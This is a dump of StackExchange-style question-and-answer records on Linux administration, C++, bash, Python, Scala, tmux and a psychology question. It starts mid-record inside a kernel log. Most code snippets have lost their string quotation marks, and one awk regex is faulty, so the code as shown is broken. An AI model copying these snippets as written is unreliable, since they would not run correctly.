Front Headphone as /devices/pci0000:00/0000:00:1b.0/sound/card0/input10 [   14.236951] fbcon: inteldrmfb (fb0) is primary device [   14.253794] Console: switching to colour frame buffer device 160x50 [   14.256574] i915 0000:00:02.0: fb0: inteldrmfb frame buffer device [   14.256576] i915 0000:00:02.0: registered panic notifier [   14.260148] [drm] Initialized i915 1.6.0 20080730 for 0000:00:02.0 on minor 0 [   15.430560] EXT4-fs (dm-0): re-mounted. Opts: errors=remount-ro [   15.500869] r8169 0000:03:02.0 eth1: link up [   15.500879] IPv6: ADDRCONF(NETDEV_CHANGE): eth1: link becomes ready [   15.771290] EXT4-fs (sda1): mounting ext2 file system using the ext4 subsystem [   15.900036] floppy0: no floppy controllers found [   15.964264] EXT4-fs (sda1): mounted filesystem without journal. Opts: (null) [   16.222275] init: failsafe main process (708) killed by TERM signal [   16.567280] eth0: Link auto-negotiation speed 1000M bps full duplex [   21.311317] ip_tables: (C) 2000-2006 Netfilter Core Team [   21.363286] nf_conntrack version 0.5.0 (16384 buckets, 65536 max) [   21.562313] init: plymouth-upstart-bridge main process ended, respawning [  492.184127] init: tty1 main process ended, respawningAfter then I run dahdi_cfg -vvv my Dahdi CLI back, but the problem continue  [   11.503468] kvm: disabled by bios [   11.507542] coretemp coretemp.0: Using relative temperature scale! [   11.507556] coretemp coretemp.0: Using relative temperature scale! [   11.518417] vgaarb: device changed decodes: PCI:0000:00:02.0,olddecodes=io+mem,decodes=io+mem:owns=io+mem [   11.520280] [drm] initialized overlay support [   11.527372] dcdbas dcdbas: Dell Systems Management Base Driver (version 5.6.0-3.2) [   11.590852] ppdev: user-space parallel port driver [   11.597260] audit: type=1400 audit(1438610748.051:2): apparmor=STATUS operation=profile_load profile=unconfined name=/sbin/dhclient pid=367 comm=apparmor_parser [   11.597268] audit: type=1400 audit(1438610748.051:3): apparmor=STATUS operation=profile_load profile=unconfined name=/usr/lib/NetworkManager/nm-dhcp-client.action pid=367 comm=apparmor_parser [   11.597274] audit: type=1400 audit(1438610748.051:4): apparmor=STATUS operation=profile_load profile=unconfined name=/usr/lib/connman/scripts/dhclient-script pid=367 comm=apparmor_parser [   11.597283] audit: type=1400 audit(1438610748.051:5): apparmor=STATUS operation=profile_replace profile=unconfined name=/sbin/dhclient pid=368 comm=apparmor_parser [   11.597291] audit: type=1400 audit(1438610748.051:6): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/NetworkManager/nm-dhcp-client.action pid=368 comm=apparmor_parser [   11.597296] audit: type=1400 audit(1438610748.051:7): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/connman/scripts/dhclient-script pid=368 comm=apparmor_parser [   11.597749] audit: type=1400 audit(1438610748.051:8): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/NetworkManager/nm-dhcp-client.action pid=367 comm=apparmor_parser [   11.597755] audit: type=1400 audit(1438610748.051:9): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/connman/scripts/dhclient-script pid=367 comm=apparmor_parser [   11.597767] audit: type=1400 audit(1438610748.051:10): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/NetworkManager/nm-dhcp-client.action pid=368 comm=apparmor_parser [   11.597772] audit: type=1400 audit(1438610748.051:11): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/connman/scripts/dhclient-script pid=368 comm=apparmor_parser [   11.632943] fbcon: inteldrmfb (fb0) is primary device [   11.649799] Console: switching to colour frame buffer device 160x50 [   11.652579] i915 0000:00:02.0: fb0: inteldrmfb frame buffer device [   11.652581] i915 0000:00:02.0: registered panic notifier [   11.666480] [drm] Initialized i915 1.6.0 20080730 for 0000:00:02.0 on minor 0 [   11.666586] ACPI Warning: SystemIO range 0x0000000000000828-0x000000000000082F conflicts with OpRegion 0x0000000000000828-0x000000000000082D (\\GLBC) (20140424/utaddress-254) [   11.666592] ACPI Warning: SystemIO range 0x0000000000000828-0x000000000000082F conflicts with OpRegion 0x000000000000082A-0x000000000000082A (\\SACT) (20140424/utaddress-254) [   11.666596] ACPI Warning: SystemIO range 0x0000000000000828-0x000000000000082F conflicts with OpRegion 0x0000000000000828-0x0000000000000828 (\\SSTS) (20140424/utaddress-254) [   11.666600] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver [   11.666603] ACPI Warning: SystemIO range 0x00000000000008B0-0x00000000000008BF conflicts with OpRegion 0x00000000000008B8-0x00000000000008BB (\\GIC2) (20140424/utaddress-254) [   11.666607] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver [   11.666609] ACPI Warning: SystemIO range 0x0000000000000880-0x00000000000008AF conflicts with OpRegion 0x000000000000088C-0x000000000000088F (\\GIC1) (20140424/utaddress-254) [   11.666613] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver [   11.666614] lpc_ich: Resource conflict(s) found affecting gpio_ich [   11.670169] snd_hda_intel 0000:00:1b.0: irq 46 for MSI/MSI-X [   12.009628] r8169 0000:03:02.0 eth1: link down [   12.009643] r8169 0000:03:02.0 eth1: link down [   12.009680] IPv6: ADDRCONF(NETDEV_UP): eth1: link is not ready [   12.037647] Velocity is AUTO mode [   12.057030] sound hdaudioC0D0: autoconfig: line_outs=1 (0x12/0x0/0x0/0x0/0x0) type:line [   12.057034] sound hdaudioC0D0:    speaker_outs=1 (0x13/0x0/0x0/0x0/0x0) [   12.057037] sound hdaudioC0D0:    hp_outs=1 (0x11/0x0/0x0/0x0/0x0) [   12.057039] sound hdaudioC0D0:    mono: mono_out=0x0 [   12.057041] sound hdaudioC0D0:    inputs: [   12.057044] sound hdaudioC0D0:      Mic=0x14 [   12.057046] sound hdaudioC0D0:      Line=0x15 [   12.068312] input: HDA Intel Mic as /devices/pci0000:00/0000:00:1b.0/sound/card0/input7 [   12.068434] input: HDA Intel Line as /devices/pci0000:00/0000:00:1b.0/sound/card0/input8 [   12.068543] input: HDA Intel Line Out as /devices/pci0000:00/0000:00:1b.0/sound/card0/input9 [   12.068648] input: HDA Intel Front Headphone as /devices/pci0000:00/0000:00:1b.0/sound/card0/input10 [   12.450564] EXT4-fs (dm-0): re-mounted. Opts: errors=remount-ro [   13.032211] EXT4-fs (sda1): mounting ext2 file system using the ext4 subsystem [   13.178789] EXT4-fs (sda1): mounted filesystem without journal. Opts: (null) [   13.373777] init: failsafe main process (695) killed by TERM signal [   13.522415] r8169 0000:03:02.0 eth1: link up [   13.522425] IPv6: ADDRCONF(NETDEV_CHANGE): eth1: link becomes ready [   14.396050] floppy0: no floppy controllers found [   15.070379] eth0: Link auto-negotiation speed 1000M bps full duplex [   19.785242] ip_tables: (C) 2000-2006 Netfilter Core Team [   19.793870] nf_conntrack version 0.5.0 (16384 buckets, 65536 max) [   19.960708] init: plymouth-upstart-bridge main process ended, respawning [  539.437379] dahdi: module verification failed: signature and/or  required key missing - tainting kernel [  539.438150] dahdi: Version: 2.10.2 [  539.438357] dahdi: Telephony Interface Registered on major 196 [  540.007096] wctdm24xxp 0000:03:00.0: Port 1: Installed -- AUTO FXO (FCC mode) [  540.007101] wctdm24xxp 0000:03:00.0: Port 2: Not installed [  540.007103] wctdm24xxp 0000:03:00.0: Port 3: Not installed [  540.007106] wctdm24xxp 0000:03:00.0: Port 4: Not installed [  542.480446] wctdm24xxp 0000:03:00.0: Found a Wildcard TDM: Wildcard TDM410P (0 BRI spans, 1 analog channel) [  542.489848] dahdi_transcode: Loaded. [  542.494830] INFO-xpp: revision Unknown MAX_XPDS=64 (8*8) [  542.494842] INFO-xpp: FEATURE: with PROTOCOL_DEBUG [  542.494881] INFO-xpp: FEATURE: with sync_tick() from DAHDI [  542.496867] INFO-xpp_usb: revision Unknown [  542.496947] usbcore: registered new interface driver xpp_usb [  542.556913] dahdi_devices pci:0000:03:00.0: local span 1 is already assigned span 1 [  542.601238] dahdi_echocan_mg2: Registered echo canceler 'MG2'How can I fix this permanent? "  , "title": "lpc_ich: Resource conflict(s) found affecting gpio_ich"  , "tags": "ubuntu;asterisk"  } 
{  "id": "_hardwarecs.1204"  , "question": "Consider an user that mainly uses his notebook for:  surf the web  open 4~6 browsers tabs (ex: google + youtube + amazon + static pages)  run msoffice apps (ex: excel + powerpoint + email)  watch videos  For such users, is there already in the market a tablet with the same performance of standard notebooks?  ps: Budget is not a constraint (say < US$5000). Of course the cheapest would be better."  , "title": "Tablet vs Laptop"  , "tags": "laptop;performance;tablet"  , "accepted_answer": "Nowadays, many tablets have the same, or more, performance than laptops.The Microsoft Surface Pro 4 is a very good option for portability and performance. It has a beautiful screen, a powerful processor and a generally well built device."  } 
{  "id": "_webmaster.68986"  , "question": "I have a website with share-friendly URLs like example.com/registerI implemented A/B testing as a cookie because I don't want ugly unsharable URLs like example.com/registerA and example.com/registerB.What is the best practice to see A/B testing in Google Analytics, even though the URL is the same?"  , "title": "Google Analytics for cookie-based A/B testing (same URL for A and B)"  , "tags": "google analytics;url;cookie;a b testing"  , "accepted_answer": "Google's Content Experiments is meant for separate A/B URLs, but it can be hacked to use the same URL, as described in this article.The general idea is to:Use the usual Content Experiments wizard,Fill the 2 A/B URL fields with dummy URLs,Insert JavaScript code to modify page content on the client side.Thanks Eike for the link!"  } 
{  "id": "_codereview.67117"  , "question": "The goal of my program is take some headers and fields and display a nicely formatted table like this:+----------+----------+----------+|First name|Last name |Middle    ||          |          |initial   |+----------+----------+----------+|This is a |This is a |This is an||line.     |longer    |even      ||          |line.     |longer    ||          |          |line.     |+----------+----------+----------+Certain features aren't implemented yet, so this code review should focus on what is implemented.As we all know, premature optimization is the root of all evil, but as the program scales, I think it's important to take into consideration what parts of the program might present a bottleneck or be inefficient. For example:Prefer to pass by value in C++11. Is pass-by-value a reasonable default in C++11?void display_boxed(std::vector<std::string> fields, int column_width = 10)Here I pass fields by value to enable move semantics and because I modify fields in the algorithm. If I passed it by reference, it would be incorrect because the changes would reflect upon the caller's copy. If I passed it by const& reference, I would have to initialize a local variable since the parameter would be const. Is the correct thinking?Minimize temporaries/copies. I would like comments on how parts of my code could be improved to achieve this goal.Then I would like to focus on another aspect: scalability.As many of us have suffered through before, we start writing code and then realize that in order to accommodate different requirements, a large of refactoring has to be done. Is my code scalable?Code reuse. How can I refactor my code to mitigate code reuse?And finally, in general, I'd just like comments on the algorithm and how it can be improved.#include <algorithm>#include <iomanip>#include <iostream>#include <sstream>#include <string>#include <vector>// http://rosettacode.org/wiki/Word_wrap#C.2B.2Bstd::string wrap(const char *text, size_t line_length = 72){    std::istringstream words(text);    std::ostringstream wrapped;    std::string word;    if (words >> word) {        wrapped << word;        size_t space_left = line_length - word.length();        while (words >> word) {            if (space_left < word.length() + 1) {                wrapped << '\\n' << word;                space_left = line_length - word.length();            } else {                wrapped << ' ' << word;                space_left -= word.length() + 1;            }        }    }    return wrapped.str();};void display_boxed(std::vector<std::string> fields, int column_width = 10){    // TODO: Center justify for headers.    auto adjustfield = std::left;    int max_linebreaks = 0;    for (auto&& str : fields)    {        int count = std::count(str.begin(), str.end(), '\\n');        if (count > max_linebreaks)            max_linebreaks = count;    }    // We're operating on a copy so it's OK to change the elements    // of fields.    for (int i = 0; i <= max_linebreaks; ++i)    {        std::cout << |;        for (std::vector<std::string>::size_type j = 0; j < fields.size(); ++j)        {            auto it = std::find(fields[j].begin(), fields[j].end(), '\\n');            if (it != fields[j].end())            {                std::string s{fields[j].begin(), it};                std::cout << std::setw(column_width) << adjustfield << s << |;                fields[j] = std::string{it + 1, fields[j].end()};            } else {                std::cout << std::setw(column_width) << adjustfield << fields[j] << |;                fields[j] = ;            }        }        std::cout << \\n;    }}int main(){    // TODO: Generate column_width.    constexpr int column_width = 10;    std::vector<std::string> headers;    headers.emplace_back(wrap(First name, column_width));    headers.emplace_back(wrap(Last name, column_width));    headers.emplace_back(wrap(Middle initial, column_width));    // TODO:: Account for more than 3 fields.    std::vector<std::string> fields;    fields.emplace_back(wrap(This is a line., column_width));    fields.emplace_back(wrap(This is a longer line., column_width));    fields.emplace_back(wrap(This is an even longer line., column_width));    std::string horiz_linebr(+);    for (std::vector<std::string>::size_type j = 0; j < fields.size(); ++j)    {        horiz_linebr += std::string(column_width, '-');        horiz_linebr += +;    }    horiz_linebr += \\n;    std::cout << horiz_linebr;    display_boxed(headers);    std::cout << horiz_linebr;    display_boxed(fields);    std::cout << horiz_linebr;    return 0;}"  , "title": "Formatting database like table"  , "tags": "c++;optimization;algorithm;c++11"  } 
{  "id": "_unix.150448"  , "question": "I installed a new icon set (numix), however not all icons were changed (e.g. the software manager). How can I manually change icons?"  , "title": "Change icons of application in Linux Mint"  , "tags": "linux mint;icons"  , "accepted_answer": "One way of finding the location of the icon for an application is to add it to the panel (right click > add to panel) and then right click on the newly added icon to edit it. By clicking on the icon in Launcher Properties you'll get its location. For instance mintInstall is found in /usr/lib/linuxmint/mintInstall/icon.svgHaving this you can then replace the icon with you own file and you can remove the application from the panel again."  } 
{  "id": "_unix.145223"  , "question": "So I when I run this code on my mac there are no errors, and it provides me the perfect output. But when I run it on Ubuntu or CentOS i get the following errorinteger expression expected #!/bin/bashif [ -f $1 ] ;then    sum=0    echo #Name Surname City Amount    while read -r LINE || [[ -n $LINE ]]; do        firstName=$( echo $LINE | cut -d   -f1)        lastName=$( echo $LINE | cut -d   -f2)        city=$( echo $LINE | cut -d   -f3)        amount=$( echo $LINE | cut -d   -f9)        check=$( echo $amount | grep -c [0-9])        if [ $check -gt 0 ]; then            if [ $amount -gt 999 ] ; then                state=$(echo $LINE | cut -d   -f5)                correctState=$(echo $state | grep -c ^N[YCEJ])                if [ $correctState -gt 0 ] ; then                    echo $firstName $lastName $state $city $amount                    sum=`expr $sum + $amount`                fi            fi        fi    done < $1    echo     echo The sum is all printed amounts is $sum    echo else    echo No file foundfiInput File: #Name Surname City Company State Probability Units Price AmountTony Passaquale Edenvale Sams_Groceries_Inc. NJ 90 800 4.78 3824Nigel Shanford Atlanta Fulton_Hotels_Inc. GA 40 400 9.99 3996Selma Cooper Eugene Cooper_Inns OR 40 1000 9.99 9990Allen James San_Jose City_Center_Lodge CA 40 1000 9.99 9990Bruce Calaway Irvine Penny_Tree_Foods CA 80 1000 4.99 4990Gloria Lenares Chicago Cordoba_Coffee_Shops IL 60 200 9.99 1998Wendy Leach New_York Gourmet_Imports NY 100 100 10 1000Craig Flanders Omaha Fly_n_Buy NE 40 1200 9.49 11388Montgomery Weissenborn Chicago Shariott_Suites_Hotels IL 60 400 7.98 3192Shirley Brightwell San_Francisco Pacific_Cafe_Company CA 80 2900 1.75 5075Roger Vittorio Cleveland National_Associa OH 40 1000 9.99 9990Tony Passaquale Edenvale Sams_Groceries NJ 90 1000 2.29 2290Montgomery Weissenborn Los_Angeles Shariott_Suites_Hotels CA 90 5000 1.49 7450Michael Wiggum Los_Angeles Trader_Depot CA 70 800 2.5 2000Edna Brock Raleigh Elliott's_Department_Stores NC 70 14400 1.78 25632Gloria Lenares Chicago Cordoba_Coffee_Shops IL 90 600 8.99 5394Montgomery Weissenborn Seattle Shariott_Suites_Hotels WA 90 400 8.99 3596Beth Munin Seattle Little_Corner_Sweets WA 100 400 1.39 556Tim Kelly New_York Nuts_and_Things NY 60 100 9.99 999Bart Perryman San_Francisco Kwik-e-mart CA 90 40000 0.69 27600Stacey Gordon Irvine Penny_Tree_Foods CA 70 200 12.96 2592Heather Willis Atlanta Big_Chuck_Diners GA 80 400 4.99 1996Tim Kelly New_York Nuts_and_Things NY 70 600 1.49 894Ralph Khan New_York Gigamart NY 30 600 9.99 5994Joshua Newsom New_York Trader_Depot NY 90 800 7.99 6392Edna Brock Raleigh Elliott's_Department_Stores NC 90 9200 1.88 17296Edna Brock Raleigh Elliott's_Department_Stores NC 100 4400 1.98 8712Michael Wiggum Los_Angeles Trader_Depot CA 100 600 2.5 1500Joshua Newsom New_York Trader_Depot NY 90 600 2.5 1500Edna Brock Raleigh Elliott's_Department_Stores NC 100 8800 1.68 14784Heather Willis Atlanta Big_Chuck_Diners GA 100 200 4.99 998Beth Munin Seattle Little_Corner_Sweets WA 100 200 2.49 498Shirley Brightwell San_Francisco Pacific_Cafe_Company CA 100 1200 1.89 2268Tim Kelly New_York Nuts_and_Things NY 90 14000 2.29 32060Output( expected) this works only on Mac#Name Surname City AmountTony Passaquale NJ Edenvale 3824Wendy Leach NY New_York 1000Craig Flanders NE Omaha 11388Tony Passaquale NJ Edenvale 2290Edna Brock NC Raleigh 25632Ralph Khan NY New_York 5994Joshua Newsom NY New_York 6392Edna Brock NC Raleigh 17296Edna Brock NC Raleigh 8712Joshua Newsom NY New_York 1500Edna Brock NC Raleigh 14784Tim Kelly NY New_York 32060The sum is all printed amounts is 130872Output( on Ubuntu or CentOSX)   #Name Surname City Amount: integer expression expected: integer expression expected: integer expression expected./script.sh: line 13: [: 9.99: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expected: integer expression expectedThe sum is all printed amounts is 0"  , "title": "Solution to integer expression expected"  , "tags": "bash;scripting;grep"  , "accepted_answer": "If you see : integer expression expected, it's a sign that what's before the : ends with a carriage return character. A carriage return causes your terminal to overwrite the current line with the subsequent text, so if a field contains something like 1234 where  is a carriage return, the shell displays the error message 1234: integer expression expected, and the 1234 is overwritten by : in.You're getting a carriage return because your input file is a Windows text file and this is the last field on the line. To use the file under Linux or Cygwin, you need to convert it to a Unix text file. Windows text files use the two-character sequence CR-LF (carriage return, line feed) to mark the end of a line. Unix text files use the single character LF. So when Linux sees a Windows text file, it sees that each line is terminated by a CR character which is a valid character, but rarely a desired one, and is not a valid character in an integer.The message 9.99: integer expression expected shows that there's a line where 9.99 is in the 9th field. From your sample data it looks like this is expected in the 8th field, so you have a line with bad data (probably a spurious space one of the name fields).Your script is very cumbersome. Don't check whether the argument is a regular file: this serves no useful purpose (the redirection will fail if the file doesn't exist) and makes it impossible to use a pipe as input. Don't use cut to parse fields: read can do it (assuming there are no empty fields). The || [[ -n $LINE ]] fragment doesn't do anything useful (but do make sure that your input is a valid text file; in a valid non-empty text file, the last character is LF). Use shell arithmetic instead of expr. As a general principle, use double quotes around variable substitutions (though here it won't matter with valid data but consider what could happen if someone wrote * in a field). Untested rewrite:#!/bin/bashset -esum=0echo #Name Surname City Amountwhile read -r firstName lastName city f4 state f6 f7 f8 amount; do    if [ $amount -gt 999 ] ; then        case $state in          N[YCEJ])            echo $firstName $lastName $state $city $amount            sum=$((sum + amount));;        esac    fidone < $1echo echo The sum is all printed amounts is $sumecho This would be easier altogether as an awk script. Again, untested.awk '    $9 > 999 && $5 ~ /^[N[YCEJ]]$/ {        print $1, $2, $5, $3, $9;        sum += $9;    }    END { print \\nThe sum is all printed amounts is  sum }' <$1"  } 
{  "id": "_cogsci.587"  , "question": "There are some different claims being made that pedophilia is a sexual orientation rather than a mental disorder.At the moment there seems to be a growing group of psychologists advocating that pedophilia is, or at least should be considered a sexual orientation rather than a mental disorder.For example:GOOD: You're a member of a growing group of psychologists who say  pedophilia should be considered a sexual orientation. Why?Quinsey: Part of the definition of pedophilia is a person has a  preference for a particular kind of partner. [...] pedophiles,  unlike other men, show substantial sexual interest in prepubescent  children. As far as we knowand many people have triedthese sexual  interests are not modifiable by any method thats been tried yet. So  it appears like pedophilia is a sexual orientation. [...] You also cant modify that  interest; its stable through adulthood, just like pedophilia.Another example:Pedophiles are not simply people who commit a small offence from time  to time but rather are grappling with what is equivalent to a sexual  orientation just like another individual may be grappling with  heterosexuality or even homosexuality, emphasized Van Gijseghem.True pedophiles have an exclusive preference for children, which is  the same as having a sexual orientation.  You cannot change this  persons sexual orientation. He added, however: He may however  remain abstinent.There is also an advocacy/support group for people attracted to minors, B4UACT, who state in a section from their website (emphasis mine):Why do you say that minor-attracted people are stereotyped?Popular beliefs about minor-attracted people are not supported by the  evidence. Research shows that they are no more violent or aggressive  than the general population, nor do they suffer from psychopathology  or personality disorders. As a group, they do not share any particular  characteristics or behaviors other than their feelings of attraction.As I understand things mental disorders tend to have observable associated symptoms, while a sexual orientation would not as it is just an instinctive attraction (in the general sense of the term).Are there studies that suggest that pedophilia is a sexual orientation? Do traits typically associated with a mental disorder apply to pedophilia?"  , "title": "Is pedophilia a sexual orientation or a mental disorder?"  , "tags": "terminology;reference request;abnormal psychology;psychiatry;physical attraction"  , "accepted_answer": "Before trying to give any sort of answer, it is important to address a common misconception. In popular culture, the terms child-molester and pedophile are often equated. Scientifically, they are not at all the same. The approximate scientific definition for a pedophile is:an individual that has an unwavering sexual attraction to prepubescent children similar to attraction heterosexual men have for womenThis means that a pedophile might or might not molest children, and a child-molester might or might not be a pedophile. Further, implicit in this definition is a close resemblance to a sexual orientation, and if you want a through and careful discussion of this (much better than my answer) then read:Senta, M.C (2012) Is Pedophilia a Sexual Orientation? Archives of Sexual Behavior 41(1): 231-236.Now, the actually relevant scientific discussion (as opposed to merely a semantic distinction) is threefold: (1) can pedophilia be considered a choice in the legal sense? (2) what causes it? (3) can it be treated?Note that for what we typically consider sexual orientations, questions (1) and (3) have clear answers: no, and no. However, for mental disorders, all permutations of answers to (1) and (3) is possible. Thus, answering these questions does not let you clear up semantic ambiguity.To start with question (2): in broad strokes Blanchard, et al. (1999) and Cantor, et al. (2004) suggest that pedophilia has a prenatal cause. For question (3) there has been no evidence to suggest that pedophilia can be treated or cured, much like how you cannot cure homosexuality. This lead to Van Gijseghem expert testimony before the Canadian Parliment's Standing Committee on Justice and Human Rights that you quote from in your question. He concludes that pedophilia cannot be 'cured' through penal intervention. However, it is possible for a pedophile to abstain from becoming a child-molester. This leaves us question (1), the legal part of this. In Canada, being a pedophilia is not a crime, but molesting children is a crime. The status of pedophilia as a mental disorder or sexual orientation is irrelevant to this since both mental status and sexual orientation are protected by Canadian law as long as they do not infringe on other's rights.  To help pedophiles abstain from molesting children there is the Circles of Support and Accountability (CoSA) program (note: it deals with all kinds of sexual offenders, not just child-molesters). This program is aimed to manage and not 'cure'. Wilson et al. (2007, 2009) have shown that CoSA produces dramatic decrease in re-offence rates for sexual offenders."  } 
{  "id": "_unix.350714"  , "question": "I'm trying to use this old technology called USB ;) I call it old because all the tutorial that I find on-line deal with wireless printers or IP ones. The man for lpadmin is very unclear how to go about adding a USB printer, and so I come here for some help. When I print dmesg I can see my printer being detected over USBusb 1-1.3: new high-speed USB device number 7 using dwc_otgusb 1-1.3: New USB device found, idVendor=03f0, idProduct=2b17usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3usb 1-1.3: Product: HP LaserJet 1020usb 1-1.3: Manufacturer: Hewlett-Packardusb 1-1.3: SerialNumber: FN0JW5Eusblp 1-1.3:1.0: usblp0: USB Bidirectional printer dev 7 if 0 alt 0 proto 2 vid 0x03F0 pid 0x2B17My question isHow can I add it, because it seams this command is adding the printer but there is no communication, and I'm not sure if I have malformed the USB part:lpadmin -p HP1020 -E -v usb://Hewlett-Packard/HP%20LaserJet%201020?serial=FN0JW5E -m lsb/usr/hplip/HP/hp-laserjet_1020-hpijs.ppdAlso, what would be the simplest command to check if I can communicate with the printer. I don't need to print anything, just to be able to see there is communication. This will help me debug the drivers."  , "title": "How to add a USB printer using lpadmin"  , "tags": "usb;printer;lp"  } 
{  "id": "_softwareengineering.301092"  , "question": "In a current project of mine, I have decided to not put any significant amount of code in __init__.py files, simply because I don't like them. In my head, an __init__.py file is just there to inform Python that the folder is a module. I keep forgetting that they might contain lots of code just like any other Python module.In this project I have decided to create a main submodule whenever I'm tempted to put significant amounts of code in an __ini__.py file, then I import the main submodule in __init__.py and replace the module.For example, say I have a module named alpha:alpha/  __init__.pyAnd I want to put a few constants and helper methods under the alpha module. Instead of putting the code into __init__.py I create a new module called (for example) main:alpha/  __init__.py  main.pyThen I put my stuff in that module. Then I just put this into __init__.py:import sysimport alpha.mainsys.modules[alpha] = alpha.mainNow I can put stuff into alpha/main.py:author = John Hancockmaintainer = John HancockAnd access it like this:import alphaprint(alpha.maintainer)It works perfectly, and I'm loving that I don't have to edit __init__.py files anymore.However, this kind of magic always gives me the feeling that a more experienced Python ninja would chop me in the face if he caught me.This convention seems completely innocuous to me, but could it come back to bite me in the ass later? Are there any pitfalls I should look out for?"  , "title": "Are there any pitfalls when replacing a Python module using sys.modules?"  , "tags": "python;python 3.x"  , "accepted_answer": "An alternative that doesn't abuse python so much, is to put the following in your __init__.pyfrom .main import *Its not quite the same as replacing the module, but I would suspect it will work in most cases.However, I would take the theory that you shouldn't do it. Pretending that your code is in the root of the alpha module when it is isn't just confusing. "  } 
{  "id": "_unix.42190"  , "question": "I have an unmanaged dedicated server that I administer, running CentOS. Recently when I reboot the server, I am unable to use SSH. Both times this has happened the server host has determined the issue and explained it like this:Please check now - I'm not sure how and why but eth0 and eth1 were  both active on boot (there should only be one). I've fixed this and  rebooted the server which came up cleanly with network connectivity.  If you have any application that could be making this change, kindly  disable the same as well.So in order for me to check into this myself, I am wondering where to look in order to see the settings he is describing there? That way I can configure it myself and try and determine if any programs are changing this.Note: I have been using the 'reboot' command, could this be resetting the ONBOOT status?"  , "title": "How do I configure which ethernet connections are active on boot?"  , "tags": "centos;ethernet;startup"  , "accepted_answer": "cd into /etc/sysconfig/network-scripts. In there, you will find ifcfg-eth0 and ifcfg-eth1. Edit them, and set the ONBOOT line's values to yes and no, respectively. (Or vice versa, if it's eth1 you'd rather come up on boot.)If you have to prevent the kernel from even attempting to touch the Ethernet hardware, you can pound out the eth1 line in /etc/modprobe.conf. Something like this:#alias eth1 e1000The e1000 bit will be the driver name; it varies depending on the hardware in the machine. You'll find the line without the # at the start; add it.A better solution, if simply touching this hardware is a problem, is to remove access to it entirely at the hardware/VM level. If it's a VM, you'd remove it from the VM configuration. If it's real hardware, you'd disable the second Ethernet interface in the machine's firmware. (BIOS, EFI...)"  } 
{  "id": "_unix.344899"  , "question": "I've recently upgraded my PostgreSQL Server from 9.2 to 9.4. With these changes, I've updated a PostgreSQL Utilities RPMs POM.xml from<groupId>org.codehaus.mojo</groupId><artifactId>rpm-maven-plugin</artifactId><require>postgresql92-postgresql</require>to<groupId>org.codehaus.mojo</groupId><artifactId>rpm-maven-plugin</artifactId><require>rh-postgresql94-postgresql</require>and the new RPMs are installed as a pre-requisite to installing the utilities package.What's the best way to yum-remove the old RPMs? (postgresql92-postgresql)Should I just add it to the post-install script or can I do this via POM.xml as I have done to install the RPMs?"  , "title": "Post-install Yum Remove Dependency"  , "tags": "rhel;yum;rpm"  } 
{  "id": "_softwareengineering.346841"  , "question": "what would be the more idiomatic way to recover from a failed futureval fut: Future[Option[Int]] = Future.failed(new RuntimeException(Hi, I have failed))case class ApplicationException(msg: String) extends RuntimeException(msg)al take1Fut = fut.recover{  case e: RuntimeException => throw ApplicationException(I have some business value)}val take2Fut = fut.transform(  identity, {case e: RuntimeException => throw ApplicationException(I have some business value)})val take3Fut = fut.fallbackTo(  Future.failed(ApplicationException(I have some business value)))Or is there some other, more idiomatic way? Personally, I favor the take1Fut"  , "title": "iodiomatic future failures in scala"  , "tags": "scala;idioms;failure"  } 
{  "id": "_unix.102170"  , "question": "I am able to bind Ctrl-Alt-[a-z] using M-C-a, M-C-b etc.However, when I attempt to bind Ctrl-Alt and a number key I get:.tmux.conf: 45: unknown key: M-C-0Any idea why? I'm running tmux ver 1.7Related: How to bind Ctrl-Alt-b as the prefix of tmux?"  , "title": "How can I bind Ctrl-Alt-[0-9] in Tmux?"  , "tags": "tmux"  , "accepted_answer": "The problem is that tmux does not expect a control0.In key_string_lookup_string, it strips off the modifiers, and then (because you have the control modifier) tries to convert it from something like ^A (see source code).  But ASCII digits range from 48 to 57, and you can see from the code that tmux will not accept a digit, returning KEYC_UNKNOWN (a failure):/* Convert the standard control keys. */if (key < KEYC_BASE && (modifiers & KEYC_CTRL) && !strchr(other, key)) {    if (key >= 97 && key <= 122)        key -= 96;    else if (key >= 64 && key <= 95)        key -= 64;    else if (key == 32)        key = 0;    else if (key == 63)        key = KEYC_BSPACE;    else        return (KEYC_UNKNOWN);    modifiers &= ~KEYC_CTRL;}"  } 
{  "id": "_unix.322761"  , "question": "I have a 7gb text fileI need to edit n first lines of that file (let us assume n=50)I want to do this the following way:head -n 50 myfile >> tmpvim tmp # make necessary editssubstitute first 50 lines of myfile with the contents of tmprm tmphow do I complete the third step here? better solutions to the general problem are also appreciatednote: there is no GUI in this environment"  , "title": "overwrite first n lines of a file"  , "tags": "files"  , "accepted_answer": "man tail says:   -n, --lines=[+]NUM          output the last NUM lines, instead of the last 10;          or use -n +NUM to output starting with line NUMtherefore you can dotail -n +51 myfile >>tmp"  } 
{  "id": "_unix.365118"  , "question": "How can i connect to my desktop version of linux from windows, i need graphic mode ?"  , "title": "Remote desktop connection to linux from windows"  , "tags": "linux;remote desktop"  } 
{  "id": "_softwareengineering.267576"  , "question": "My question is related to MVC design pattern and Razor Syntax introduced by Microsoft. While learning MVC design pattern I was told that the idea is based upon a principle known as Separation of Concerns. But Razor Syntax allows us to use C# in Views directly. Isn't this intersection of concerns? "  , "title": "If MVC is Separation of Concerns then why was Razor Syntax introduced?"  , "tags": "c#;asp.net mvc;separation of concerns;razor"  , "accepted_answer": "You are conflating the Razor syntax with separation of concerns.Separation of concerns has to do with how you structure your code.Being able to use C# in views doesn't prevent that. It has nothing to do with separation of concerns as such.Sure, you can structure the code in your view to not comply with separation of concerns, but what about C# code that is used for display purposes only? Where would that live?"  } 
